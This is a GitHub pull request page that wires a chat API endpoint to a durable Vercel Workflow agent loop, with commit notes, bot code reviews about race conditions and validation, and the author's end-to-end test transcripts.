Skip to content

feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) - #581

Merged
sweetmantech merged 5 commits into
testfrom
feat/api-chat-workflow-wire-up
May 21, 2026
Merged

feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4)#581
sweetmantech merged 5 commits into
testfrom
feat/api-chat-workflow-wire-up

Conversation

@sweetmantech

@sweetmantechsweetmantech commented May 21, 2026

Copy link
Copy Markdown
Contributor

Summary

Replaces the stub UIMessage stream from #579 with a real Vercel Workflow agent loop. Stub run-ids (stub-<uuid>) are now real ones (wrun_<id>) emitted by WDK. Tools are intentionally NOT wired — the workflow runs streamText with the gateway model + Recoup custom instructions only. Sandbox tool surface lands in PR 4.

Re-scoped plan: 4 PRs total (per agreement after a scope reality check)

  1. ✅ docs contract (docs: add /api/chat/workflow contract + promote Chats to top-level nav docs#221)
  2. ✅ route stub (feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) #579)
  3. this PR — workflow wire-up (no tools)
  4. ⏳ port 12 sandbox tool files + buildAgentTools + wire into runAgentStep

What lands end-to-end

validateChatWorkflow → session+chat ownership → isSandboxActive
→ reconcileExistingActiveStream (resume / 409 / fall-through)
→ refresh session lifecycle activity
→ fire-and-forget persist user message
→ start(runAgentWorkflow, [...])
→ CAS chats.active_stream_id (cancel + 409 on race)
→ return run.getReadable() + x-workflow-run-id header

New code

Supabase helpers (lib/supabase/)

  • chats/compareAndSetChatActiveStreamId.ts — atomic CAS via predicate
  • chats/touchChat.ts — bump updated_at
  • chats/updateChat.ts — generic partial update mirroring updateSession
  • chat_messages/createChatMessageIfNotExists.ts — upsert with ignoreDuplicates
  • chat_messages/isFirstChatMessage.ts — title-from-first-message check

Chat/recoupable helpers (lib/)

  • recoupable/extractOrgId.tsorg-<slug>-<uuid> → uuid
  • chat/assistantFileLinks.ts — workspace-file deep-link prompt
  • chat/recoupApiSkillPrompt.tsrecoup-api + artist-workspace nudge
  • chat/agentCustomInstructions.ts — composed system-prompt suffix
  • chat/persistLatestUserMessage.ts — fire-and-forget user msg + auto-title
  • chat/reconcileExistingActiveStream.ts — 3-attempt resume/clear/conflict loop

Workflow (app/workflows/)

  • runAgentWorkflow.ts"use workflow" agent loop (no-tool: 1 iteration)
  • runAgentStep.ts"use step", single streamText turn via @ai-sdk/gateway

Wiredlib/chat/handleChatWorkflowStream.ts replaces hardcoded stream with start(runAgentWorkflow, ...).

Test results

  • 46 new unit tests (8 + 5 + 2 + 3 + 5 + 3 + 7 + 6 + 18 across the new modules)
  • Full suite: 2946/2946 pass (was 2900 before this PR)
  • Lint: clean

E2E verification on preview deployment

https://api-git-feat-api-chat-workflow-wire-up-recoup.vercel.app

Setup: agent signup → session → sandbox provisioned (11s) → POST /api/chat/workflow with prompt "Reply with exactly the word ZAP, nothing else."

Response (truncated to first 50 lines):

HTTP/2 200
content-type: text/event-stream
x-vercel-ai-ui-message-stream: v1
x-workflow-run-id: wrun_01KS5H9SA4696XMFV24H9Y5HD1 ← REAL Vercel Workflow run-id
data: {"type":"start"}
data: {"type":"start-step"}
data: {"type":"text-start","id":"0","providerMetadata":{"gateway":{"generationId":"gen_01KS5H9WBMRQE4984FH98DBP1C"}}}
data: {"type":"text-delta","id":"0","delta":"Z"} ← REAL LLM-driven streaming
data: {"type":"text-delta","id":"0","delta":"AP"}
data: {"type":"text-end","id":"0"}
data: {"type":"finish-step"}
data: {"type":"finish","finishReason":"stop"}

Matches the prod sandbox.recoupable.com/api/chat response shape (captured via Chrome DevTools MCP in #579's comments) — same startstart-steptext-*finish-stepfinish framing, same providerMetadata.gateway.generationId, same x-vercel-ai-ui-message-stream: v1 header. Only difference: prod also emits a message-metadata chunk with model + usage + cost — minor gap, easy follow-up if needed (just messageMetadata callback on toUIMessageStream).

Out of scope (PR 4)

  • 12 sandbox tool ports from open-agents/packages/agent/tools/ (bash, read, write, grep, glob, todo, task, ask_user_question, skill, fetch, plus utils + recoup helpers)
  • buildAgentTools factory
  • Wiring tools into runAgentStep via experimental_context
  • createChatRuntime (sandbox handle + skill discovery for tool exec)
  • persistAssistantMessagesWithToolResults (client-side tool results persistence)

Test plan

  • Unit tests pass (2946/2946)
  • Lint clean
  • E2E preview: real wrun_ run-id, real LLM-driven stream, full SSE protocol verified
  • Optional: capture a duplicate-request race against preview to verify 409 / resume paths

🤖 Generated with Claude Code


Summary by cubic

Wires POST /api/chat/workflow to a durable Vercel Workflow with real SSE and wrun_ run IDs. Adds safe pre-claim CAS, resume-or-409 handling, and single‑turn streaming; tools are still out.

  • New Features

    • Streams model output via runAgentWorkflowrunAgentStep (one turn) using @ai-sdk/gateway + agentCustomInstructions; SSE with x-workflow-run-id.
    • Resumes in-flight runs through maybeResumeChatStream; returns 409 on conflicts. Treats transient workflow/api errors as conflicts without clearing the slot.
    • Pre-claims chats.active_stream_id with pending-<uuid> before start(...), then promotes to the real run id; cancels our run and returns 409 if promotion loses.
    • Refreshes session activity; fire-and-forget persists the latest user message and auto-sets the chat title (exact 80‑char cap).
    • Uses the chat’s model_id when set, else defaults to anthropic/claude-haiku-4.5.
  • Refactors

    • Consolidated active-stream CAS into compareAndSetChatActiveStreamId; lib/supabase/chats/updateChat is a generic helper with where predicates and discriminated results. Fixed Next.js build typing by switching to in-operator narrowing in CAS and rewriting the updateChat predicate builder to avoid Supabase type-depth issues (behavior unchanged).
    • Switched reconcileExistingActiveStream to a top‑level workflow/api import; tightened cancel/error-path tests.

Written for commit be4580a. Summary will update on new commits. Review in cubic

Summary by CodeRabbit

  • New Features
    • Chat agents can now process language model steps and stream responses with improved reliability
    • Agents can create and reference deep links to workspace files within conversations
    • Enhanced concurrent chat request management with automatic stream resumption and built-in conflict detection
    • Improved agent skill selection and API routing capabilities

Review Change Stack

…orkflow
Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.
What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
existing active_stream_id (resume / 409 / fall-through) → refresh
lifecycle activity → fire-and-forget persist user message → start
runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
return run.getReadable() with x-workflow-run-id header
New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId
New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop
New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn
Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.
Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
@vercel

vercelBot commented May 21, 2026

Copy link
Copy Markdown
Contributor

The latest updates on your projects. Learn more about Vercel for GitHub.

ProjectDeploymentActionsUpdated (UTC)
apiReadyReadyPreviewMay 21, 2026 4:18pm

Request Review

@coderabbitai

coderabbitaiBot commented May 21, 2026

Copy link
Copy Markdown

Warning

Rate limit exceeded

@sweetmantech has exceeded the limit for the number of commits that can be reviewed per hour. Please wait 29 minutes and 25 seconds before requesting another review.

You’ve run out of usage credits. Purchase more in the billing tab.

⌛ How to resolve this issue?

After the wait time has elapsed, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

We recommend that you space out your commits to avoid hitting the rate limit.

🚦 How do rate limits work?

CodeRabbit enforces hourly rate limits for each developer per organization.

Our paid plans have higher rate limits than the trial, open-source and free plans. In all cases, we re-allow further reviews after a brief timeout.

Please see our FAQ for further information.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: 3d2a40f1-1253-496d-a929-3624ae3042c0

📥 Commits

Reviewing files that changed from the base of the PR and between bdd2713 and be4580a.

⛔ Files ignored due to path filters (4)
  • lib/chat/__tests__/compareAndSetChatActiveStreamId.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
  • lib/chat/__tests__/handleChatWorkflowStream.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
  • lib/chat/__tests__/reconcileExistingActiveStream.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
  • lib/supabase/chats/__tests__/updateChat.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
📒 Files selected for processing (4)
  • lib/chat/compareAndSetChatActiveStreamId.ts
  • lib/chat/handleChatWorkflowStream.ts
  • lib/chat/reconcileExistingActiveStream.ts
  • lib/supabase/chats/updateChat.ts
📝 Walkthrough

Walkthrough

This PR converts the chat streaming endpoint from a stub into a durable Vercel Workflow-backed system. It introduces LLM orchestration (runAgentStep, runAgentWorkflow), Supabase persistence helpers, stream reconciliation logic, and replaces handleChatWorkflowStream with a concurrency-safe handler that pre-claims request slots, resumes existing workflows, and promotes placeholders to real run IDs.

Changes

Vercel Workflow-backed Chat Streaming

Layer / File(s)Summary
Agent Prompts & Utilities
lib/chat/agentCustomInstructions.ts, lib/chat/assistantFileLinks.ts, lib/chat/recoupApiSkillPrompt.ts, lib/recoupable/extractOrgId.ts
Foundation modules: agentCustomInstructions composes two prompt fragments; assistantFileLinks constructs workspace file deep links with normalized href format; recoupApiSkillPrompt routes agent requests to correct Recoup skills and org scopes; extractOrgId extracts UUID from clone URLs or repo names.
Supabase Data Access Layer
lib/supabase/chat_messages/selectChatMessages.ts, lib/supabase/chat_messages/upsertChatMessage.ts, lib/supabase/chats/updateChat.ts
Query and persistence helpers: selectChatMessages reads chat messages with optional filtering, ordering, and limiting; upsertChatMessage inserts/updates messages with duplicate detection; updateChat atomically updates chat state with optional compare-and-set predicate on active_stream_id for concurrency control.
LLM Workflow Orchestration
app/lib/workflows/runAgentStep.ts, app/lib/workflows/runAgentWorkflow.ts
Vercel Workflow layer: runAgentStep executes a single LLM turn using gateway(modelId), appends agentCustomInstructions, and streams UIMessageChunk output into a provided writable stream; runAgentWorkflow orchestrates a single turn, logs start/finish, and terminates if the model returns tool-calls finish reason.
Workflow Reconciliation & Resume Logic
lib/chat/reconcileExistingActiveStream.ts, lib/chat/maybeResumeChatStream.ts
Resume management: reconcileExistingActiveStream probes run status and decides whether to resume (if running/pending), return ready (if stale/cleared), or return conflict (if uncertain); maybeResumeChatStream wraps that logic and returns either a resumed UI stream response, a 409 conflict, or null to signal a new workflow should start.
Chat Streaming Endpoint & Persistence
lib/chat/handleChatWorkflowStream.ts, lib/chat/persistLatestUserMessage.ts
Main handler rewrite: handleChatWorkflowStream validates request ownership/sandbox, attempts to resume via maybeResumeChatStream, then pre-claims active_stream_id using a pending-<uuid> placeholder with conditional update (returns 409 if slot taken), refreshes session, starts runAgentWorkflow, promotes placeholder to real runId atomically, and returns the workflow run's readable stream with x-workflow-run-id header. Supporting: persistLatestUserMessage fire-and-forgets user message upsert, updates chat updated_at, and conditionally sets chat title only if the message is confirmed as earliest (to avoid race conditions).

Sequence Diagram(s)

sequenceDiagram
participant Client
participant Handler as handleChatWorkflowStream
participant Resume as maybeResumeChatStream
participant DB as Supabase
participant Workflow as runAgentWorkflow
participant Step as runAgentStep
participant LLM as gateway / LLM
Client->>Handler: POST /api/chat/workflow
Handler->>DB: Load session & chat, verify ownership
Handler->>Resume: maybeResumeChatStream(chatId, activeStreamId)
alt Existing workflow running
Resume->>DB: Check run status via reconcile
Resume-->>Client: Return 409 conflict or resume stream
else New workflow
Resume-->>Handler: null (proceed to start new)
Handler->>DB: Update active_stream_id with pending-UUID placeholder (CAS)
Handler->>DB: Refresh session lifecycle, persist latest user message
Handler->>Workflow: start(runAgentWorkflow)
Workflow->>Step: Call runAgentStep
Step->>LLM: streamText with agentCustomInstructions
LLM-->>Step: Stream UIMessageChunk
Step-->>Workflow: finishReason
Workflow-->>Handler: Workflow started
Handler->>DB: Update active_stream_id: pending-UUID → real runId (CAS)
alt Promotion succeeds
Handler-->>Client: Stream from run.getReadable() with x-workflow-run-id
else Promotion fails
Handler->>Workflow: Cancel the started run
Handler-->>Client: 409 (slot stolen)
end
end
Loading

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~25 minutes

The PR introduces multiple interrelated systems (workflow execution, stream resumption, data persistence, concurrency control) with heterogeneous logic across 13 files. However, each layer follows consistent patterns (Supabase helpers with error discrimination, structured result types, prompt composition), and the main handler's complexity is well-scoped through helper delegation. Most layers are straightforward; the highest density is in handleChatWorkflowStream (CAS logic, run promotion, cancellation fallback).

Possibly related PRs

  • recoupable/api#580: Previous stub implementation of the chat streaming endpoint; this PR replaces its hardcoded stream generation with the new Vercel Workflow-backed orchestration and resumption logic on the same /api/chat/workflow route.

Poem

🌊 A workflow streams its thoughts in measured steps,
With prompts that guide and slots that never collide,
Resuming where we left off, no data slips,
The chat flows steady, deep, and verified.

🚥 Pre-merge checks | ✅ 2 | ❌ 1

❌ Failed checks (1 warning)

Check nameStatusExplanationResolution
Solid & Clean Code⚠️ WarningThree unaddressed review comments reveal input validation gaps: empty filepath allows invalid deep links; missing limit bounds check; start() throws could leak placeholder, blocking future requests.Add guards: (1) validate normalizedPath in buildWorkspaceFileHref; (2) validate limit is positive integer in selectChatMessages; (3) wrap start() in try/catch to release placeholder on failure.
✅ Passed checks (2 passed)
Check nameStatusExplanation
Linked Issues check✅ PassedCheck skipped because no linked issues were found for this pull request.
Out of Scope Changes check✅ PassedCheck skipped because no linked issues were found for this pull request.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch feat/api-chat-workflow-wire-up

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@cubic-dev-aicubic-dev-aiBot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

12 issues found across 23 files

Confidence score: 2/5

  • There is a clear regression risk around duplicate workflow execution: lib/chat/reconcileExistingActiveStream.ts can clear active_stream_id on transient getRun/status failures, and lib/chat/handleChatWorkflowStream.ts starts runs before claiming the stream ID, creating a race where two requests can launch work.
  • Error handling currently conflates infrastructure failures with normal contention in lib/supabase/chats/compareAndSetChatActiveStreamId.ts and the post-CAS re-read path in lib/chat/reconcileExistingActiveStream.ts, which can produce misleading 409s and incorrectly proceed as ready after read errors.
  • Input/invariant safety is also weaker than expected: lib/chat/handleChatWorkflowStream.ts accepts messages as z.array(z.any()), and lib/supabase/chats/updateChat.ts allows updates to protected fields (active_stream_id, session_id, id, timestamps), increasing chances of bad state transitions.
  • Pay close attention to lib/chat/handleChatWorkflowStream.ts, lib/chat/reconcileExistingActiveStream.ts, and lib/supabase/chats/compareAndSetChatActiveStreamId.ts - concurrency and error-path handling here can trigger duplicate runs and inconsistent conflict behavior.
Prompt for AI agents (unresolved issues)

Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.
<file name="lib/chat/handleChatWorkflowStream.ts">
<violation number="1" location="lib/chat/handleChatWorkflowStream.ts:86">
P1: Validate `messages` as `UIMessage[]` before passing them into the workflow; the current `z.array(z.any())` schema lets malformed payloads through and this path now assumes AI SDK message fields are present.</violation>
</file>
Architecture diagram
sequenceDiagram
participant Client as Chat UI
participant Route as POST /api/chat/workflow
participant Validate as validateChatWorkflow
participant SessionDB as Supabase Sessions
participant ChatDB as Supabase Chats
participant MsgDB as Supabase Chat Messages
participant Reconcile as reconcileExistingActiveStream
participant WfAPI as Workflow API (start/getRun)
participant Workflow as Vercel Workflow Runtime
participant Agent as runAgentWorkflow / runAgentStep
participant Gateway as @ai-sdk/gateway LLM
Note over Client,Gateway: POST /api/chat/workflow — Durable Agent Stream
Client->>Route: POST /api/chat/workflow (body: messages, chatId, sessionId)
Route->>Validate: parse + validate auth/body
alt Validation fails (401/400)
Validate-->>Route: NextResponse error
Route-->>Client: Error response
end
Route->>SessionDB: selectSessions({ id })
SessionDB-->>Route: session row or null
alt Session not found
Route-->>Client: 404 Session not found
else Wrong account
Route-->>Client: 403 Forbidden
end
Route->>SessionDB: sandbox_state.ready check
alt Sandbox inactive
Route-->>Client: 400 Sandbox not initialized
end
Route->>ChatDB: selectChats({ id })
ChatDB-->>Route: chat row with active_stream_id, model_id
alt Chat not found or wrong session
Route-->>Client: 404 Chat not found
end
alt active_stream_id is set (in-flight workflow exists)
Route->>Reconcile: reconcileExistingActiveStream(chatId, activeStreamId)
Reconcile->>WfAPI: getRun(activeStreamId).status
alt Run is running/pending
WfAPI-->>Reconcile: status=running
Reconcile-->>Route: { action: "resume", stream, runId }
Route->>Client: SSE stream (existing workflow) + x-workflow-run-id header
else Run is completed/failed or not found
Reconcile->>ChatDB: compareAndSetChatActiveStreamId(chatId, oldId, null) - CAS clear stale id
alt CAS succeeds
ChatDB-->>Reconcile: cleared
Reconcile-->>Route: { action: "ready" }
else CAS fails (race with another writer)
Reconcile->>ChatDB: re-read chat row, retry up to 3 attempts
alt MAX attempts exhausted
Reconcile-->>Route: { action: "conflict" }
Route-->>Client: 409 Conflict
end
end
end
end
Note over Route,WfAPI: Start fresh workflow path
Route->>SessionDB: updateSession - refresh lifecycle activity
Route->>MsgDB: void persistLatestUserMessage(chatId, messages) - fire-and-forget
Note over MsgDB: Inserts user message with conflict-ignore on id
Note over MsgDB: If first message, auto-set chat title from text
Route->>WfAPI: start(runAgentWorkflow, [input])
WfAPI->>Workflow: Initialize durable workflow, allocate wrun_ id
Workflow-->>WfAPI: run object (runId, getReadable, cancel)
WfAPI-->>Route: run object
Route->>ChatDB: compareAndSetChatActiveStreamId(chatId, null, run.runId) - atomic claim
alt CAS fails (race lost)
ChatDB-->>Route: false
Route->>WfAPI: getRun(run.runId).cancel()
Route-->>Client: 409 Another workflow already running
else CAS succeeds
ChatDB-->>Route: true
Route->>Client: SSE response + x-workflow-run-id header
Client->>Route: SSE stream consumption
Note over Workflow,Gateway: Workflow execution (async)
Workflow->>Agent: Execute runAgentWorkflow
Agent->>Agent: "use workflow" - orchestration loop
loop Max steps (default 500, currently 1 turn)
Agent->>Agent: runAgentStep(input)
Agent->>Agent: "use step" - durable step boundary
Agent->>Gateway: streamText({ model, system: agentCustomInstructions, messages })
Note over Gateway: DEFAULT_MODEL_ID = "anthropic/claude-haiku-4.5"
Gateway-->>Agent: Stream UIMessageChunks
Agent->>Workflow: Write chunks to writable stream
alt finishReason !== "tool-calls"
Agent->>Agent: break loop
end
end
Workflow-->>Client: Stream chunks via getReadable()
Note over Client,Gateway: SSE format: start → start-step → text-* → finish-step → finish
end
Loading

Reply with feedback, questions, or to request a fix.

Re-trigger cubic

Comment threadlib/supabase/chats/compareAndSetChatActiveStreamId.ts Outdated
Comment threadlib/chat/reconcileExistingActiveStream.ts Outdated
Comment threadlib/chat/reconcileExistingActiveStream.ts Outdated

const run = await start(runAgentWorkflow, [
{
messages: validated.messages,

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1: Validate messages as UIMessage[] before passing them into the workflow; the current z.array(z.any()) schema lets malformed payloads through and this path now assumes AI SDK message fields are present.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At lib/chat/handleChatWorkflowStream.ts, line 86:
<comment>Validate `messages` as `UIMessage[]` before passing them into the workflow; the current `z.array(z.any())` schema lets malformed payloads through and this path now assumes AI SDK message fields are present.</comment>
<file context>
@@ -1,61 +1,108 @@
+
+ const run = await start(runAgentWorkflow, [
+ {
+ messages: validated.messages,
+ chatId: validated.chatId,
+ sessionId: validated.sessionId,
</file context>

Comment threadlib/chat/handleChatWorkflowStream.ts
Comment threadapp/workflows/runAgentWorkflow.ts Outdated
Comment threadlib/supabase/chat_messages/createChatMessageIfNotExists.ts Outdated
Comment threadapp/workflows/runAgentStep.ts Outdated
Comment threadlib/chat/persistLatestUserMessage.ts Outdated
Comment threadlib/chat/handleChatWorkflowStream.ts Outdated
@sweetmantech

Copy link
Copy Markdown
ContributorAuthor

Comprehensive E2E test on preview deployment

Preview URL: https://api-git-feat-api-chat-workflow-wire-up-recoup.vercel.app

1. Negative paths (5/5 ✅)

#RequestExpectedActual
1No auth header401401 {"status":"error","error":"Exactly one of x-api-key or Authorization must be provided"}
2Bad x-api-key401401 {"status":"error","message":"Unauthorized"}
3Missing chatId400400 {"status":"error","missing_fields":["chatId"],"error":"Invalid input: expected string, received undefined"}
4Non-existent sessionId404404 {"status":"error","error":"Session not found"}
5Session has no provisioned sandbox400400 {"status":"error","error":"Sandbox not initialized"}

2. Happy path — real LLM streaming (✅)

Prompt: "In exactly 8 words, describe what a workflow is."

Response headers:

HTTP/2 200
content-type: text/event-stream
x-vercel-ai-ui-message-stream: v1
x-workflow-run-id: wrun_01KS5J64YF7V3YMXGT36SVTCB6 ← REAL Vercel Workflow run-id

Response body:

data: {"type":"start"}
data: {"type":"start-step"}
data: {"type":"text-start","id":"0","providerMetadata":{"gateway":{"generationId":"gen_01KS5J65N6J1C5KA20G0NQ8BW6"}}}
data: {"type":"text-delta","id":"0","delta":"Step"}
data: {"type":"text-delta","id":"0","delta":"-by-step process to complete a specific task."}
data: {"type":"text-end","id":"0"}
data: {"type":"finish-step"}
data: {"type":"finish","finishReason":"stop"}

Model produced exactly 8 words. providerMetadata.gateway.generationId correctly forwarded from AI Gateway → Anthropic.

3. Reconcile path — stale active_stream_id (✅)

After the workflow above completed, chats.active_stream_id still held wrun_01KS5J64YF7V3YMXGT36SVTCB6. Sent a second request:

  • reconcileExistingActiveStream calls getRun(staleId).status"completed"
  • CASes the stale id back to nullaction: "ready"
  • Handler falls through and starts a fresh workflow

Result:

x-workflow-run-id: wrun_01KS5J8XGJQSJJJPDVEDSDJSK2 ← NEW run, different from prior
data: {"type":"text-delta","id":"0","delta":"4"} ← Correct answer to "What is 2+2?"
data: {"type":"finish","finishReason":"stop"}

4. Concurrent-request conflict resolution (✅)

Fired two requests at the same time against the same chat (prompt: "List 20 random animals one per line."). Expected one of:

  • Both get the same stream (one starts, the other resumes via reconcileExistingActiveStream)
  • Or one gets 200 + the other 409

Actual:

REQ1: HTTP/2 200 x-workflow-run-id: wrun_01KS5J9VXHJZFTBFFR7C3J92SE
REQ2: HTTP/2 200 x-workflow-run-id: wrun_01KS5J9VXHJZFTBFFR7C3J92SE ← SAME run-id

Both responses had the samex-workflow-run-id AND the samegateway.generationId — confirming REQ2's reconcileExistingActiveStream saw REQ1's workflow running and resumed its stream rather than starting a duplicate. The CAS worked: only one workflow was started, both clients received the same UIMessage chunks.

5. Full SSE protocol matches prod (✅)

Comparing against the sandbox.recoupable.com/api/chat response captured via Chrome DevTools MCP in #579's comments:

SSE chunkProdThis PR
start
start-step
text-start + providerMetadata.gateway.generationId
text-delta (multiple)
text-end
finish-step
message-metadata (model + usage + costs)❌ — minor gap, easy follow-up
finish (with finishReason)
[DONE] terminator✅ (via createUIMessageStreamResponse)

Only difference: prod emits a message-metadata chunk between finish-step and finish with model + usage + cost data. This requires passing a messageMetadata callback to toUIMessageStream() — easy to add either in this PR or a follow-up. Not blocking since the chat UI doesn't depend on it for rendering.

Summary

✅ All documented status codes verified live
✅ Real Vercel Workflow runtime (wrun_<id>, not stub)
✅ Real LLM streaming with proper chunk framing
✅ Reconcile path clears stale active_stream_id correctly
✅ Concurrent requests resolve via stream resumption (no duplicate workflows)
✅ Full SSE protocol matches prod sandbox.recoupable.com — chat UI should be drop-in compatible

Ready for review/merge.

Copy link
Copy Markdown
ContributorAuthor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

KISS

  • actual: app/workflows/runAgentStep.ts
  • required: app/lib/workflows/runAgentStep.ts

Comment threadapp/workflows/runAgentWorkflow.ts Outdated

Copy link
Copy Markdown
ContributorAuthor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

KISS
actual: app/workflows/runAgentWorkflow.ts
required: app/lib/workflows/runAgentWorkflow.ts

Comment threadlib/chat/handleChatWorkflowStream.ts

Copy link
Copy Markdown
ContributorAuthor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

KISS

  • actual: lib/supabase/chat_messages/createChatMessageIfNotExists.ts
  • required: lib/supabase/chat_messages/upsertChatMessages.ts

Copy link
Copy Markdown
ContributorAuthor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

KISS

  • actual: lib/supabase/chat_messages/isFirstChatMessage.ts
  • required: simple supabase lib and a wrapper lib to pass custom params
  • lib/supabase/chat_messages/selectChatMessage.ts

Copy link
Copy Markdown
ContributorAuthor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

KISS

  • actual: lib/supabase/chats/compareAndSetChatActiveStreamId.ts
  • required: simple supabase lib and new lib file to pass in custom props
  • lib/supabase/chats/updateChat.ts

Comment threadlib/supabase/chats/touchChat.ts Outdated

Copy link
Copy Markdown
ContributorAuthor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

KISS

  • actual: lib/supabase/chats/touchChat.ts
  • required: lib/supabase/chats/updateChat.ts

Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
- Generic `updateChat({filter, updates})` with optional CAS predicate
on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
touchChat (both deleted).
- Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
domain-specific isFirstChatMessage. The "is earliest?" check now
lives in persistLatestUserMessage where it belongs.
- Rename createChatMessageIfNotExists → `upsertChatMessage` with a
discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
(OCP — handler stays small, resume logic grows independently).
cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
`pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
race where two requests could both bill the model before one lost the
CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
clears stale active_stream_id on transient workflow API failures —
we treat any uncertainty as conflict. Failed CAS-clear on a completed
run also returns conflict (rather than possibly falling through to
ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
unawaited cancellation could escape the try/catch.
cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
lands with tool ports (PR 4). Multi-turn loop with the same input was
unsafe — log+warn if model returns tool-calls and exit.
Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
@sweetmantech

Copy link
Copy Markdown
ContributorAuthor

Review feedback addressed in bdd2713

Sweetman structural feedback — all 7 items resolved

#CommentResolution
1app/workflows/runAgentStep.tsapp/lib/workflows/Moved (git mv preserves history)
2app/workflows/runAgentWorkflow.tsapp/lib/workflows/Moved
3Resume-stream block inline in handler (OCP)Extracted to lib/chat/maybeResumeChatStream.ts (4 tests)
4createChatMessageIfNotExists → generic nameRenamed to upsertChatMessage (singular) with discriminated {ok, row, isDuplicate} | {ok:false, error} result
5isFirstChatMessage → generic select + wrapperReplaced with generic selectChatMessages({chatId, orderBy, limit}) (lib/supabase/) + "is earliest?" check now lives in persistLatestUserMessage
6compareAndSetChatActiveStreamId → generic update + wrapperDeleted helper. updateChat({id, whereActiveStreamId}, updates) is the generic; callers compose CAS semantics directly
7touchChat → use updateChatDeleted helper. Callers use updateChat({id}, {updated_at}) directly

cubic P1 fixes — all 5 resolved

#ConcernFix
P1.1start(workflow) before CAS — race billed the model twiceHandler now does a placeholder-CAS BEFORE start(): pre-claims active_stream_id = "pending-<uuid>" via updateChat with whereActiveStreamId.equals: null. If that loses → 409 immediately (no workflow started). After start(), promote placeholder → real wrun_<id>
P1.2compareAndSetChatActiveStreamId returned false on DB error → looked like raceHelper deleted. New updateChat returns {ok: true, rowsUpdated} | {ok: false, error} — callers distinguish the two cases explicitly
P1.3reconcileExistingActiveStream bare try/catch on getRun cleared stale id on transient errorsNow catches and returns action: "conflict" — never clears the slot on uncertain status. Eventually a real reconcile observes a completed run via status check and clears normally
